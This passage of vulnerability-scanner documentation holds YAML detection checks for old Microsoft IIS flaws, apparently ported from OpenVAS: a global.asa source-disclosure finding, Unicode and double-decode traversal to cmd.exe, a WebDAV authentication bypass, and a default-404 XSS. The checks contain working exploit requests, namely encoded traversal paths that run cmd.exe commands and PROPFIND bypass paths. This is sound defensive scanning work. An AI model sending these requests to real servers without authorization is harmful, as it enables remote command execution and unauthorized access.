        description: "ISM.DLL returned the source of global.asa for a request ending in \"global.asa+.htr\", while IIS refuses a direct request for the same file. Any server-side file whose name is known (.asa, .asp, .inc, .ini) can be read the same way up to its first \"<%\" delimiter, including the database connection strings and passwords they often hold (CVE-2000-0630, fixed by MS00-044)."
        remediation: "Install MS00-044 (or a later IIS cumulative update), or remove the .htr script mapping (ISM.DLL) from every web site, as Microsoft recommends; upgrade to a supported IIS version."
        cves: [CVE-2000-0630]
        cvss: 5.0
        severity: medium
        confidence_delta: 0.55
        qod: 75
        evidence: "GET global.asa+.htr returned HTTP 200 with {{verdict.pl_len}} bytes of global.asa server-side script (<SCRIPT|OBJECT RUNAT=Server>, contents withheld); a direct GET of global.asa returned HTTP {{dc_r.status}} without it, and the same request under a missing directory returned HTTP {{c2_r.status}} without it. Directory: {{dir}}"
      stop: true

Microsoft IIS Unicode folder traversal command execution (MS00-078, CVE-2000-0884)

CVECVE-2000-0884
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, script, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/microsoft-iis/CVE-2000-0884.yaml

Checks whether a Microsoft IIS 4.0 or 5.0 server lets a request climb out of the web root with an overlong Unicode encoding of "/" (such as %c0%af) and run the Windows command interpreter (Web Server Folder Traversal, fixed by MS00-078). On a server whose Server header names IIS, the test requests cmd.exe through each common scripts directory (/scripts/, /msadc/, /iisadmpwd/, /_vti_bin/, /_mem_bin/, /exchange/, /pbserver/, /rpc/, /cgi-bin/ and the site root) with ten known encodings, asking it to list the C: drive. A reply holding a directory listing, while the same path to a non-existent program returns none, shows the traversal. The test then asks cmd.exe to multiply two random numbers on the same path: the correct product in the reply confirms command execution. Both commands only read; nothing is written on the target. The test stops at the first path that works.

How noctis detects it

  1. HTTP(S) request GET /
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET {{trav}}cmd.exe?/c+dir+c:\+/OG HTTP/1.0
  6. Parses / computes the next value with a Rhai script
  7. Raw TCP (TLS on HTTPS), sent verbatim: GET {{trav}}{{calc_in.absent}}?/c+dir+c:\+/OG HTTP/1.0
  8. Raw TCP (TLS on HTTPS), sent verbatim: GET {{trav}}cmd.exe?/c+set+/a+{{calc_in.a}}*{{calc_in.b}} HTTP/1.0
  9. Parses / computes the next value with a Rhai script
  10. Checks verdict for ^IIS_UNICODE_EXEC$ → finding QoD 97: Microsoft IIS Unicode folder traversal — command execution (MS00-078, CVE-2000-0884)
  11. Checks verdict for ^IIS_UNICODE_DIR$ → finding QoD 75: Microsoft IIS Unicode folder traversal (MS00-078, CVE-2000-0884)

References:

Feed source — tests/vulnerabilities/microsoft-iis/CVE-2000-0884.yaml
# Microsoft IIS 4.0/5.0 — Web Server Folder Traversal, Unicode encoded "/"
# (MS00-078, CVE-2000-0884)
#
# Ported from OpenVAS/Greenbone NVT pre2008/iis_dir_traversal.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10537, GPL-2.0-only).
#
# IIS checked a request path for "../" before decoding overlong UTF-8 forms
# of "/" or "\" (%c0%af, %c1%9c, … — each language version mis-decodes its
# own set). Under a virtual directory with execute permission, such a path
# climbs out of the web root to %WINDIR%\system32\cmd.exe, which IIS runs as
# a CGI with the query string as its command line (split on "+"). cmd.exe
# prints no HTTP headers, so IIS 5 wraps its output, verbatim, in a
# "502 CGI Error" page (CERT CA-2000-11 / VU#111677, SecurityFocus BID 1806).
#
# The NASL, on a host detected as IIS, tries 10 virtual directories × 10
# encodings of
#   <dir>..<u>..<u>..<u>..<u>..<u>../winnt/system32/cmd.exe?/c+dir+c:\+/OG
# and reports a reply containing "<DIR>" or "Directory of C". Same gate, same
# 100 paths and same command, with these deviations (stronger):
#  - the listing must carry a "<DIR>" entry line (whitespace, <DIR>, name) —
#    the one marker every Windows language prints ("Directory of" becomes
#    "Répertoire de", "Verzeichnis von" … on the non-English builds most
#    encodings target) — and the same traversal to a non-existent program
#    must not return one (a honeypot answering every /winnt/ request with a
#    canned listing is not reported);
#  - on a listing, the same path runs "set /a A*B" with two random operands:
#    the product computed by cmd.exe (never present in the request) proves
#    command execution — QoD 97. The listing alone stays QoD 75.
# Both commands are read-only; nothing is written on the target.
#
# CVSS: NVD has only a CVSS v2 score (7.5) for CVE-2000-0884.
uid: 042188e9-100a-4765-8636-a237271280da
name: "Microsoft IIS Unicode folder traversal command execution (MS00-078, CVE-2000-0884)"
description: |
  Checks whether a Microsoft IIS 4.0 or 5.0 server lets a request climb out
  of the web root with an overlong Unicode encoding of "/" (such as %c0%af)
  and run the Windows command interpreter (Web Server Folder Traversal,
  fixed by MS00-078). On a server whose Server header names IIS, the test
  requests cmd.exe through each common scripts directory (/scripts/,
  /msadc/, /iisadmpwd/, /_vti_bin/, /_mem_bin/, /exchange/, /pbserver/,
  /rpc/, /cgi-bin/ and the site root) with ten known encodings, asking it
  to list the C: drive. A reply holding a directory listing, while the same
  path to a non-existent program returns none, shows the traversal. The
  test then asks cmd.exe to multiply two random numbers on the same path:
  the correct product in the reply confirms command execution. Both
  commands only read; nothing is written on the target. The test stops at
  the first path that works.
cves: [CVE-2000-0884]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [iis, microsoft, ms00-078, unicode, path-traversal, cmd-exe, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2000-0884"
  - "https://learn.microsoft.com/en-us/security-updates/securitybulletins/2000/ms00-078"
  - "https://www.kb.cert.org/vuls/id/111677"
  - "https://www.securityfocus.com/bid/1806"

steps:
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, headers: {}}

  - id: home
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 10
    store_as: home

  # Same gate as the NASL (IIS detected from the Server banner): the 100
  # traversal requests are only sent to an IIS server.
  - id: gate
    action: script
    code: |
      let s = if "server" in home.headers { home.headers["server"] } else { "" };
      type_of(s) == "string" && ereg(`(?i)\bIIS\b|Microsoft-IIS`, s)
    store_as: is_iis

  - id: operands
    action: script
    code: |
      let a = rand_int(10000, 46000);
      let b = rand_int(10000, 46000);
      #{ a: a, b: b, prod: `${a * b}`, absent: "noctis" + rand_hex(6) + ".exe" }
    store_as: calc_in

  # 10 directories × 10 encodings, in the NASL's order.
  - id: init-dir
    action: set_var
    var_name: dl
    var_value: {connected: false, banner: ""}
    loop:
      count: 100
      var: i

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {connected: false, banner: ""}

  - id: init-calc
    action: set_var
    var_name: cl
    var_value: {connected: false, banner: ""}

  - id: build-path
    action: script
    condition: "is_iis"
    code: |
      let dirs = ["/scripts/", "/msadc/", "/iisadmpwd/", "/_vti_bin/", "/_mem_bin/",
                  "/exchange/", "/pbserver/", "/rpc/", "/cgi-bin/", "/"];
      let unis = ["%c0%af", "%c0%9v", "%c1%c1", "%c0%qf", "%c1%8s",
                  "%c1%9c", "%c1%pc", "%c1%1c", "%c0%2f", "%e0%80%af"];
      let p = dirs[i / 10];
      let u = unis[i % 10];
      for k in 0..5 { p += ".." + u; }
      p + "../winnt/system32/"
    store_as: trav

  - id: probe-dir
    action: tcp_connect
    condition: "is_iis"
    port: "{{port}}"
    send: "GET {{trav}}cmd.exe?/c+dir+c:\\+/OG HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: dl

  - id: dir-check
    action: script
    condition: "is_iis"
    code: |
      let b = dl.banner;
      type_of(b) == "string" && ereg(`\s<DIR>\s+\S`, b)
    store_as: dir_hit

  # Control: same traversal to a program that does not exist.
  - id: probe-ctl
    action: tcp_connect
    condition: "is_iis && dir_hit"
    port: "{{port}}"
    send: "GET {{trav}}{{calc_in.absent}}?/c+dir+c:\\+/OG HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: ctl

  # Execution proof: cmd.exe computes A*B (the product is not in the request).
  - id: probe-calc
    action: tcp_connect
    condition: "is_iis && dir_hit"
    port: "{{port}}"
    send: "GET {{trav}}cmd.exe?/c+set+/a+{{calc_in.a}}*{{calc_in.b}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: cl

  - id: verdict
    action: script
    condition: "is_iis"
    code: |
      let listing = |b| type_of(b) == "string" && ereg(`\s<DIR>\s+\S`, b);
      let ctl_ok = ctl.connected && !listing.call(ctl.banner);
      let traversal = dir_hit && ctl_ok;
      let cb = cl.banner;
      let exec = traversal && type_of(cb) == "string"
                 && ereg(`(?:^|[^0-9])` + calc_in.prod + `(?:[^0-9]|$)`, cb);
      if exec { "IIS_UNICODE_EXEC" } else if traversal { "IIS_UNICODE_DIR" } else { "" }
    store_as: verdict

  - id: report-exec
    action: match
    condition: "is_iis"
    source: verdict
    pattern: '^IIS_UNICODE_EXEC$'
    on_match:
      finding:
        title: "Microsoft IIS Unicode folder traversal — command execution (MS00-078, CVE-2000-0884)"
        description: "A request carrying an overlong Unicode encoding of \"/\" climbed out of the web root and ran cmd.exe: it listed the C: drive and returned the product of two random numbers it was asked to compute. An unauthenticated attacker can run any command as the IIS anonymous user (IUSR_<machine>) and read, alter or delete files the account can reach (CVE-2000-0884, fixed by MS00-078)."
        remediation: "Install MS00-078 (or MS00-086 / a later IIS cumulative update), remove execute permission from virtual directories that do not need it, and upgrade to a supported Windows and IIS version."
        confidence_delta: 0.67
        qod: 97
        evidence: "GET {{trav}}cmd.exe?/c+set+/a+{{calc_in.a}}*{{calc_in.b}} returned the product {{calc_in.prod}}; the same path with /c dir c:\\ returned a directory listing (<DIR> entries), while {{calc_in.absent}} on that path returned none."
      stop: true

  - id: report-dir
    action: match
    condition: "is_iis"
    source: verdict
    pattern: '^IIS_UNICODE_DIR$'
    on_match:
      finding:
        title: "Microsoft IIS Unicode folder traversal (MS00-078, CVE-2000-0884)"
        description: "A request carrying an overlong Unicode encoding of \"/\" climbed out of the web root and ran cmd.exe, which returned a listing of the C: drive. An unauthenticated attacker can run commands as the IIS anonymous user (IUSR_<machine>) and read files outside the web root (CVE-2000-0884, fixed by MS00-078)."
        remediation: "Install MS00-078 (or MS00-086 / a later IIS cumulative update), remove execute permission from virtual directories that do not need it, and upgrade to a supported Windows and IIS version."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{trav}}cmd.exe?/c+dir+c:\\+/OG returned a directory listing of C: (<DIR> entries), while {{calc_in.absent}} on that path returned none; the arithmetic check did not return the expected product."
      stop: true

Microsoft IIS WebDAV Unicode authentication bypass

CVECVE-2009-1535
Severityhigh · CVSS 7.5
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, tcp_connect, script, match · highest QoD 97
Feedtests/vulnerabilities/microsoft-iis/CVE-2009-1535.yaml

Sends OPTIONS / to read the Server banner and the MS-Author-Via: DAV header, then sends PROPFIND requests to a list of common folder names. When a folder answers 401 Unauthorized, the same PROPFIND is repeated with an overlong UTF-8 slash (%c0%af) inserted after the folder's first character (for example /s%c0%afecret/). A 207 Multi-Status listing of that folder, while the plain request is refused and a random non-existent folder with the same encoding is not listed, proves that the WebDAV extension bypasses the folder's authentication. PROPFIND only reads properties: nothing is written. When no password-protected folder is found, an IIS 5.1 or 6.0 banner with WebDAV advertised is reported as a version-based finding instead; when a protected folder is found but the encoded request still answers 401, nothing is reported.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: OPTIONS / HTTP/1.1
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: PROPFIND / HTTP/1.1
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. Raw TCP (TLS on HTTPS), sent verbatim: PROPFIND /{{rnd_dir}}/ HTTP/1.1
  7. Parses / computes the next value with a Rhai script
  8. Raw TCP (TLS on HTTPS), sent verbatim: PROPFIND /{{dir}}/ HTTP/1.1
  9. Parses / computes the next value with a Rhai script
  10. Parses / computes the next value with a Rhai script
  11. Raw TCP (TLS on HTTPS), sent verbatim: PROPFIND {{byp_path}} HTTP/1.1
  12. Parses / computes the next value with a Rhai script
  13. Parses / computes the next value with a Rhai script
  14. Checks byp_resp.banner for (?i)multistatus → finding QoD 97: Microsoft IIS WebDAV Unicode authentication bypass — CVE-2009-1535
  15. … and 2 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/microsoft-iis/CVE-2009-1535.yaml
# Microsoft IIS 5.1/6.0 WebDAV Unicode authentication bypass (MS09-020) — CVE-2009-1535
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_ms_iis_webdav_auth_bypass_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900711, GPL-2.0-only). Exploit shape from the
# nmap http-iis-webdav-vuln.nse script / Metasploit
# auxiliary/scanner/http/wmap_dir_webdav_unicode_bypass.
#
# The IIS WebDAV extension decodes an overlong UTF-8 "/" (%c0%af) inside a
# folder name AFTER IIS has decided which access rules apply to the URL. A
# folder that answers 401 to "PROPFIND /secret/" answers 207 Multi-Status —
# its protected listing — to "PROPFIND /s%c0%afecret/".
#
# The NASL only fingerprints: OPTIONS / must carry "MS-Author-Via: DAV" and
# the IIS version must be 5.0–6.0. That also reports every MS09-020-patched
# IIS 6.0. Deviations (stronger, fewer false positives):
#  - the bypass itself is tried, read-only: a list of common folder names is
#    probed with PROPFIND; a folder that answers 401 (control) is requested
#    again with %c0%af after its first character. A 207 Multi-Status reply
#    = authentication bypassed (QoD 97). A random non-existent folder
#    with the same encoding must not answer 207 (servers that list anything).
#    PROPFIND only lists properties; nothing is written.
#  - when a protected folder WAS found and the encoded request still gets
#    401, the server behaves patched: the version fallback is suppressed.
#  - the version fallback (QoD 70, as the NASL) only fires when no protected
#    folder could be tested; it reads the Server banner + MS-Author-Via: DAV
#    header from OPTIONS / (raw request, like the NASL).
#  - the version range is 5.1–6.0 (the NASL says 5.0–6.0): IIS 5.0's WebDAV
#    bypass is a different bug, CVE-2009-1122.
#
# Note: real IIS 5.1/6.0 (Windows XP / 2003) only speaks SSLv3/TLS 1.0,
# which the scanner's TLS stack refuses, so on a real server the https
# service usually gives no result; scan its plain-HTTP port.
uid: 7761696d-a18d-47a7-9528-102040835820
name: "Microsoft IIS WebDAV Unicode authentication bypass (CVE-2009-1535)"
description: |
  Sends OPTIONS / to read the Server banner and the MS-Author-Via: DAV header,
  then sends PROPFIND requests to a list of common folder names. When a folder
  answers 401 Unauthorized, the same PROPFIND is repeated with an overlong
  UTF-8 slash (%c0%af) inserted after the folder's first character (for
  example /s%c0%afecret/). A 207 Multi-Status listing of that folder, while the
  plain request is refused and a random non-existent folder with the same
  encoding is not listed, proves that the WebDAV extension bypasses the
  folder's authentication. PROPFIND only reads properties: nothing is written.
  When no password-protected folder is found, an IIS 5.1 or 6.0 banner
  with WebDAV advertised is reported as a version-based finding instead; when a
  protected folder is found but the encoded request still answers 401, nothing
  is reported.
cves: [CVE-2009-1535]
cvss: 7.5
severity: high
category: auth-bypass
confidence_base: 0.30
tags: [iis, microsoft, webdav, propfind, unicode, ms09-020, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-1535"
  - "https://learn.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-020"
  - "https://www.kb.cert.org/vuls/id/787932"
  - "https://nmap.org/nsedoc/scripts/http-iis-webdav-vuln.html"

steps:
  - id: init-iis-dav
    action: set_var
    var_name: iis_dav
    var_value: false

  - id: init-root-ok
    action: set_var
    var_name: root_ok
    var_value: false

  - id: init-opt
    action: set_var
    var_name: opt_resp
    var_value: {connected: false, banner: null}

  - id: init-root
    action: set_var
    var_name: root_resp
    var_value: {connected: false, banner: null}

  - id: init-rnd
    action: set_var
    var_name: rnd_resp
    var_value: {connected: false, banner: null}

  - id: init-protected-refused
    action: set_var
    var_name: protected_refused
    var_value: false

  # ── Fingerprint (same request as the NASL) ────────────────────────────────
  - id: options-root
    action: tcp_connect
    port: "{{port}}"
    send: "OPTIONS / HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: opt_resp

  - id: check-iis-dav
    action: script
    code: |
      let b = opt_resp.banner;
      if type_of(b) != "string" { false } else {
        ereg("(?im)^Server:[ \\t]*Microsoft-IIS/(5\\.1|6\\.0)\\b", b)
          && ereg("(?im)^MS-Author-Via:[^\\r\\n]*\\bDAV\\b", b)
      }
    store_as: iis_dav

  # WebDAV must answer on / without credentials (a protected root leaves no
  # unprotected baseline to compare against — same rule as the nmap script).
  - id: propfind-root
    action: tcp_connect
    port: "{{port}}"
    send: "PROPFIND / HTTP/1.1\r\nHost: {{target_host}}\r\nDepth: 0\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: root_resp

  - id: check-root
    action: script
    code: |
      let b = root_resp.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] 207", b) && ereg("multistatus", b, true)
    store_as: root_ok

  # Control: a random, non-existent folder carrying the same %c0%af encoding
  # must NOT answer 207 (a server that lists anything is not evidence).
  - id: mint-name
    action: script
    code: '"n%c0%afoctis" + rand_hex(6)'
    store_as: rnd_dir

  - id: propfind-random
    action: tcp_connect
    condition: "root_ok == true"
    port: "{{port}}"
    send: "PROPFIND /{{rnd_dir}}/ HTTP/1.1\r\nHost: {{target_host}}\r\nDepth: 1\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: rnd_resp

  - id: check-random
    action: script
    code: |
      let b = rnd_resp.banner;
      root_ok == true && type_of(b) == "string" && !ereg("^HTTP/1\\.[01] 207", b)
    store_as: root_ok

  # ── Bypass attempt, one pass per folder name ──────────────────────────────
  - id: reset-ctrl
    action: set_var
    var_name: ctrl_resp
    var_value: {connected: false, banner: null}
    loop:
      over: ["webdav", "dav", "secret", "private", "protected", "secure", "restricted", "admin", "administrator", "internal", "intranet", "members", "staff", "upload", "uploads", "files", "docs", "documents", "backup", "data", "test"]
      var: dir

  - id: reset-byp
    action: set_var
    var_name: byp_resp
    var_value: {connected: false, banner: null}

  - id: reset-ctrl401
    action: set_var
    var_name: ctrl_401
    var_value: false

  - id: reset-bypass-ok
    action: set_var
    var_name: bypass_ok
    var_value: false

  # Control: the plain folder must demand authentication.
  - id: propfind-control
    action: tcp_connect
    condition: "root_ok == true"
    port: "{{port}}"
    send: "PROPFIND /{{dir}}/ HTTP/1.1\r\nHost: {{target_host}}\r\nDepth: 1\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: ctrl_resp

  - id: check-control
    action: script
    code: |
      let b = ctrl_resp.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] 401", b)
    store_as: ctrl_401

  # /secret/ -> /s%c0%afecret/ (overlong UTF-8 "/" after the first character).
  - id: build-bypass-path
    action: script
    code: '"/" + substr(dir, 0, 0) + "%c0%af" + substr(dir, 1) + "/"'
    store_as: byp_path

  - id: propfind-bypass
    action: tcp_connect
    condition: "ctrl_401 == true"
    port: "{{port}}"
    send: "PROPFIND {{byp_path}} HTTP/1.1\r\nHost: {{target_host}}\r\nDepth: 1\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: byp_resp

  # 207 Multi-Status listing of the folder the control showed protected.
  - id: check-bypass
    action: script
    code: |
      let b = byp_resp.banner;
      if ctrl_401 != true || type_of(b) != "string" { false } else {
        ereg("^HTTP/1\\.[01] 207", b) && ereg("multistatus", b, true)
      }
    store_as: bypass_ok

  # A protected folder that stays refused with the encoding = patched behaviour.
  # Only a 401 to the encoded request counts as patched; a 403 (directory
  # listing off), 5xx or no reply leaves the version fallback in place.
  - id: note-refused
    action: script
    code: |
      let b = byp_resp.banner;
      protected_refused || (ctrl_401 == true && type_of(b) == "string" && ereg("^HTTP/1\\.[01] 401", b))
    store_as: protected_refused

  - id: confirm-bypass
    action: match
    source: byp_resp.banner
    pattern: "(?i)multistatus"
    condition: "bypass_ok == true"
    on_match:
      finding:
        title: "Microsoft IIS WebDAV Unicode authentication bypass — CVE-2009-1535"
        description: "A WebDAV folder that answers 401 Unauthorized to a plain PROPFIND returned its 207 Multi-Status listing, without credentials, when an overlong UTF-8 slash (%c0%af) was inserted in its name. The IIS WebDAV extension decodes the name after the access check (MS09-020), so password-protected WebDAV content can be listed, read and, where the folder allows it, written without authentication."
        remediation: "Apply Microsoft security bulletin MS09-020, or disable the WebDAV extension; migrate off end-of-life IIS 5.1 / 6.0."
        confidence_delta: 0.65
        qod: 97
        evidence: "PROPFIND /{{dir}}/ -> 401, PROPFIND {{byp_path}} -> 207 without credentials: {{byp_resp.banner}}"
      stop: true

  # ── Version fallback (the NASL's check) when no protected folder was found ─
  # (a bypass finding above has stop: true and ends the test).
  - id: fallback-group
    action: set_var
    var_name: fallback_ok
    var_value: false
    loop:
      over: ["once"]
      var: once

  - id: check-fallback
    action: script
    code: "iis_dav == true && protected_refused == false"
    store_as: fallback_ok

  - id: report-version
    action: match
    source: opt_resp.banner
    pattern: "(?i)Microsoft-IIS/(5\\.1|6\\.0)"
    condition: "fallback_ok == true"
    on_match:
      finding:
        title: "Microsoft IIS 5.1/6.0 with WebDAV enabled — possibly affected by CVE-2009-1535"
        description: "The server reports Microsoft IIS 5.1 or 6.0 and advertises WebDAV (MS-Author-Via: DAV). Without MS09-020, its WebDAV extension lets an overlong UTF-8 slash (%c0%af) in a URL bypass the authentication of password-protected folders. No password-protected folder was found to try the bypass, so this finding rests on the version only."
        remediation: "Apply Microsoft security bulletin MS09-020, or disable the WebDAV extension; migrate off end-of-life IIS 5.1 / 6.0."
        confidence_delta: 0.40
        qod: 70
        evidence: "OPTIONS / banner with WebDAV advertised: {{opt_resp.banner}}"

Microsoft IIS default 404 error page cross-site scripting (MS02-018, CVE-2002-0148)

CVECVE-2002-0148
Severityhigh · CVSS 7.5
Categoryxss — XSS
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 75
Feedtests/vulnerabilities/microsoft-iis/CVE-2002-0148.yaml

Checks whether a Microsoft IIS 4.0, 5.0 or 5.1 server still serves the original default "page cannot be found" error page, whose inline script copies part of the requested URL into the page with document.write() without encoding it (cross-site scripting through the HTTP error page, fixed by MS02-018). The test requests a random, non-existent .htm file and reports the server when the returned error page contains that unencoded document.write() call; the fixed page, which encodes the value before writing it, is not reported. Only one harmless GET request is sent.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /{{fname}}
  3. Parses / computes the next value with a Rhai script
  4. Checks verdict for ^IIS404_XSS_(?:ORIG|ESCAPE)$ → finding QoD 75: Microsoft IIS default 404 error page cross-site scripting (MS02-018) — CVE-2002-0148

References:

Feed source — tests/vulnerabilities/microsoft-iis/CVE-2002-0148.yaml
# Microsoft IIS 4.0/5.0/5.1 — cross-site scripting in the default HTTP 404
# error page (MS02-018, CVE-2002-0148)
#
# Ported from OpenVAS/Greenbone NVT pre2008/iis_xss_404.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10936, GPL-2.0-only).
#
# IIS answers a missing file with %WINDIR%\help\iisHelp\common\404b.htm. Its
# inline Homepage() script slices the site part out of document.URL and
# writes it into the page with document.write() without encoding it, so a
# crafted URL injects script into the victim's browser (DOM-based: the server
# never reflects anything, which is why the proof is the sink in the served
# page, not an echoed payload).
#
# The exact script lines are known from the IIS servicing tool that rewrites
# them (spiisupd.cpp, inetsrv/iis/qfetools in the NT 5 source tree):
#   original  document.write('<A HREF="' + urlresult + '">' + displayresult + "</a>");
#   1st fix   document.write( '<A HREF="' + escape(urlresult) + '">' + displayresult + "</a>");
#             (still writes displayresult raw — "WinSE 26475: CSS bug in
#             custom error pages", replaced again)
#   final     InsertElementAnchor(urlresult, displayresult);  + HtmlEncode()
#
# The NASL GETs /blah.htm on a Microsoft-IIS banner and greps "urlresult" and
# "+ displayresult +". Deviations (stronger):
#  - a random file name instead of /blah.htm, so a real /blah.htm on the site
#    cannot hide the error page;
#  - the match is the sink itself — a document.write() call whose argument
#    carries urlresult and concatenates displayresult raw — so both
#    vulnerable generations match and the final fixed page never does;
#  - no Server-banner gate: an IIS behind a proxy that rewrites or strips the
#    Server header still serves the same page, and the sink is specific to
#    this error page.
#
# CVE mapping: the backlog issue copied the NVT's MS02-018 list
# (CVE-2002-0071/0072/0073/0074/0075/0079/0147/0148/0149/0150/0224). Only
# CVE-2002-0148 ("cross-site scripting … via an HTTP error page") is what the
# page proves; the others are buffer overflows, DoS, the Help search XSS, the
# redirect XSS and an MSDTC bug that this test does not observe. NVD has only
# a CVSS v2 score (7.5) for CVE-2002-0148.
uid: 0edee697-9f51-40f8-ac6a-28467ce3aa32
name: "Microsoft IIS default 404 error page cross-site scripting (MS02-018, CVE-2002-0148)"
description: |
  Checks whether a Microsoft IIS 4.0, 5.0 or 5.1 server still serves the
  original default "page cannot be found" error page, whose inline script
  copies part of the requested URL into the page with document.write()
  without encoding it (cross-site scripting through the HTTP error page,
  fixed by MS02-018). The test requests a random, non-existent .htm file and
  reports the server when the returned error page contains that unencoded
  document.write() call; the fixed page, which encodes the value before
  writing it, is not reported. Only one harmless GET request is sent.
cves: [CVE-2002-0148]
cvss: 7.5
severity: high
category: xss
confidence_base: 0.30
tags: [iis, microsoft, ms02-018, xss, error-page, dom-xss]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2002-0148"
  - "https://learn.microsoft.com/en-us/security-updates/securitybulletins/2002/ms02-018"
  - "https://www.kb.cert.org/vuls/id/886699"

steps:
  # Random missing file: IIS answers with its custom 404 page.
  - id: mint-name
    action: script
    code: '"noctis" + rand_hex(10) + ".htm"'
    store_as: fname

  - id: probe-404
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/{{fname}}"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 10
    store_as: nf

  # Fixed verdict string as the match source: the page itself never reaches
  # the finding.
  - id: verdict
    action: script
    code: |
      let v = "";
      let b = if is_def_var("nf") { nf.body } else { () };
      if type_of(b) == "string"
          && ereg(`(?is)document\.write\s*\([^;]*\burlresult\b[^;]*\+\s*displayresult\s*\+`, b) {
        v = if ereg(`(?i)escape\s*\(\s*urlresult\s*\)`, b) { "IIS404_XSS_ESCAPE" } else { "IIS404_XSS_ORIG" };
      }
      v
    store_as: verdict

  - id: xss-sink
    action: match
    source: verdict
    pattern: '^IIS404_XSS_(?:ORIG|ESCAPE)$'
    on_match:
      finding:
        title: "Microsoft IIS default 404 error page cross-site scripting (MS02-018) — CVE-2002-0148"
        description: "The default IIS \"page cannot be found\" error page served for a missing file writes part of the requested URL into the page with document.write() without encoding it. A crafted link to this server makes the victim's browser run attacker-supplied script in the site's origin (CVE-2002-0148, fixed by MS02-018 and the later error-page update that encodes the value before writing it)."
        remediation: "Install the IIS cumulative security updates (MS02-018 and later) or upgrade to a supported IIS version; alternatively replace the default custom error pages (iisHelp\\common\\4xx*.htm) with static pages that contain no script."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET /{{fname}} returned HTTP {{nf.status}} with the default IIS 404 page whose script writes displayresult unencoded via document.write() (variant: {{verdict}})"
      stop: true

Microsoft IIS superfluous decoding command execution (MS01-026, CVE-2001-0333)

CVECVE-2001-0333
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, script, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/microsoft-iis/CVE-2001-0333.yaml

Checks whether a Microsoft IIS 4.0 or 5.0 server decodes a request path a second time after its security check, so that a "\" or "." encoded twice (such as %255c) slips past the check and lets the request climb out of the web root to run the Windows command interpreter (fixed by MS01-026 and the later MS01-044 cumulative update). On a server whose Server header names IIS, the test requests cmd.exe through each common scripts directory (/scripts/, /msadc/, /iisadmpwd/, /_vti_bin/, /_mem_bin/, /exchange/, /pbserver/, /rpc/, /cgi-bin/ and the site root) with five known double encodings and two path layouts, asking it to list the C: drive. A reply holding a directory listing, while the same path to a non-existent program returns none, shows the traversal. The test then asks cmd.exe to multiply two random numbers on the same path: the correct product in the reply confirms command execution. Both commands only read; nothing is written on the target. The test stops at the first path that works.

How noctis detects it

  1. HTTP(S) request GET /
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET {{trav}}cmd.exe?/c+dir+c:\+/OG HTTP/1.0
  6. Parses / computes the next value with a Rhai script
  7. Raw TCP (TLS on HTTPS), sent verbatim: GET {{trav}}{{calc_in.absent}}?/c+dir+c:\+/OG HTTP/1.0
  8. Raw TCP (TLS on HTTPS), sent verbatim: GET {{trav}}cmd.exe?/c+set+/a+{{calc_in.a}}*{{calc_in.b}} HTTP/1.0
  9. Parses / computes the next value with a Rhai script
  10. Checks verdict for ^IIS_DECODE_EXEC$ → finding QoD 97: Microsoft IIS superfluous decoding — command execution (MS01-026, CVE-2001-0333)
  11. Checks verdict for ^IIS_DECODE_DIR$ → finding QoD 75: Microsoft IIS superfluous decoding directory traversal (MS01-026, CVE-2001-0333)

References:

Feed source — tests/vulnerabilities/microsoft-iis/CVE-2001-0333.yaml
# Microsoft IIS 4.0/5.0 — superfluous decoding ("double decode") command
# execution (MS01-026, CVE-2001-0333; also fixed by the MS01-044 cumulative)
#
# Ported from OpenVAS/Greenbone NVT pre2008/iis_decode_bug.nasl
